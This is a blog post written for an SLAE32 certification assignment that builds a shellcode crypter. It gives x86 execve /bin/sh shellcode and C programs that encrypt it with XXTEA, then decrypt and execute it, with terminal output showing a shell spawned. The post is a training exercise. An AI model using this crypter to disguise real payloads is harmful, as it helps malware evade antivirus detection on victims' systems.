The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-990
Assignment #7
Description
- Create a custom crypter like the one shown in the “crypters” video
- Free to use any existing encryption schema
- Can use any programming language
Choosing a symmetric encryption algorithm
For the encryption and decryption of the shellcode I have chosen to use the Corrected Block TEA (XXTEA) block cipher. Further reading on this implementation can be found here => XXTEA.
One round of XXTEA (Source)
As to not reimplement XXTEA itself I discovered a C implementation of the cipher on github at XXTEA encryption arithmetic library. This implementation will allow me to encrypt the shellcode and emmit it in shellcode form.
Shellcode to encrypt
I will be using some shellcode from earlier to spawn a simple /bin/sh. The assembly to spawn this shell is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
global _start
section .text
_start:
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
The generated shellcode from objdump that we will encrypt is:
1
2
[sengen@manjaro-x86 assignment7]$ objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
Encrypting shellcode
For the encryption we will take the shellcode we generated above and hardcode it into our encrypt.c source code. Utilizing the XXTEA algorithm we’ll encrypt each byte and output it in shellcode format.
encrypt.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
#include "xxtea.h"
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("%s\n", "usage: ./encrypt <key>");
exit(1);
}
unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
size_t shellcode_len = strlen((const char *) shellcode);
const char *key = argv[1];
printf("%s\n", "Shellcode before encryption:");
for (int counter = 0; counter < shellcode_len; ++counter) {
printf("\\x%02x", shellcode[counter]);
}
size_t len;
unsigned char *encrypt_data = xxtea_encrypt(shellcode, strlen(shellcode), key, &len);
printf("\n\nEncrypted shellcode:\n");
for (size_t counter = 0; counter < strlen(encrypt_data); counter += 2) {
printf("\\x%02x\\x%02x", (int)encrypt_data[counter], (int)encrypt_data[counter+1]);
}
printf("\n");
return 0;
}
Compiling and running the encrypt.c program
1
2
3
4
5
6
7
[sengen@manjaro-x86 assignment7]$ gcc -Wall encrypt.c xxtea.c xxtea.h -o encrypt
[sengen@manjaro-x86 assignment7]$ ./encrypt slae32-assembly-expert
Shellcode before encryption:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Encrypted shellcode:
\x5b\x69\x1c\xed\x22\x51\x2c\xcc\x53\x92\x18\xa4\xed\x12\x31\xb2\x86\xe0\x05\xfe\x96\xd5\x71\xd5\x7e\x5b\xd6\x10\x2f\xe9\xf5\x9e
Decrypting shellcode
Now we have an encrypted version of the shellcode. We’ll copy this out and place it into our decrypt.c program. This does the opposite and performs the decryptions of each byte and again we’ll print it to the screen. Additionally, we’ll now execute the shellcode which will spawn our /bin/sh.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <string.h>
#include "xxtea.h"
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("%s\n", "usage: ./decrypt <key>");
exit(1);
}
unsigned char encrypted_data[] = "\x5b\x69\x1c\xed\x22\x51\x2c\xcc\x53\x92\x18\xa4\xed\x12\x31\xb2\x86\xe0\x05\xfe\x96\xd5\x71\xd5\x7e\x5b\xd6\x10\x2f\xe9\xf5\x9e";
size_t encrypted_data_len = strlen((const char *) encrypted_data);
const char *key = argv[1];
printf("%s\n", "Shellcode before decryption:");
for (int counter = 0; counter < encrypted_data_len; ++counter) {
printf("\\x%02x", encrypted_data[counter]);
}
size_t len;
unsigned char *decrypted_data = xxtea_decrypt(encrypted_data, encrypted_data_len, key, &len);
printf("\n\nDecrypted shellcode:\n");
for (size_t counter = 0; counter < strlen(decrypted_data); counter += 2) {
printf("\\x%02x\\x%02x", (int)decrypted_data[counter], (int)decrypted_data[counter+1]);
}
printf("\n\nExecuting shellcode.");
int (*ret)() = (int(*)())decrypted_data;
ret();
return 0;
}
Compiling and running the decrypt.c program
1
2
3
4
5
6
7
8
9
[sengen@manjaro-x86 assignment7]$ gcc -Wall decrypt.c xxtea.c xxtea.h -o decrypt
[sengen@manjaro-x86 assignment7]$ ./decrypt slae32-assembly-expert
Shellcode before decryption:
\x5b\x69\x1c\xed\x22\x51\x2c\xcc\x53\x92\x18\xa4\xed\x12\x31\xb2\x86\xe0\x05\xfe\x96\xd5\x71\xd5\x7e\x5b\xd6\x10\x2f\xe9\xf5\x9e
Decrypted shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x00
sh-4.4$
Source code
All source code for this assignment can be found at
https://github.com/tdmathison/SLAE32/tree/master/assignment7.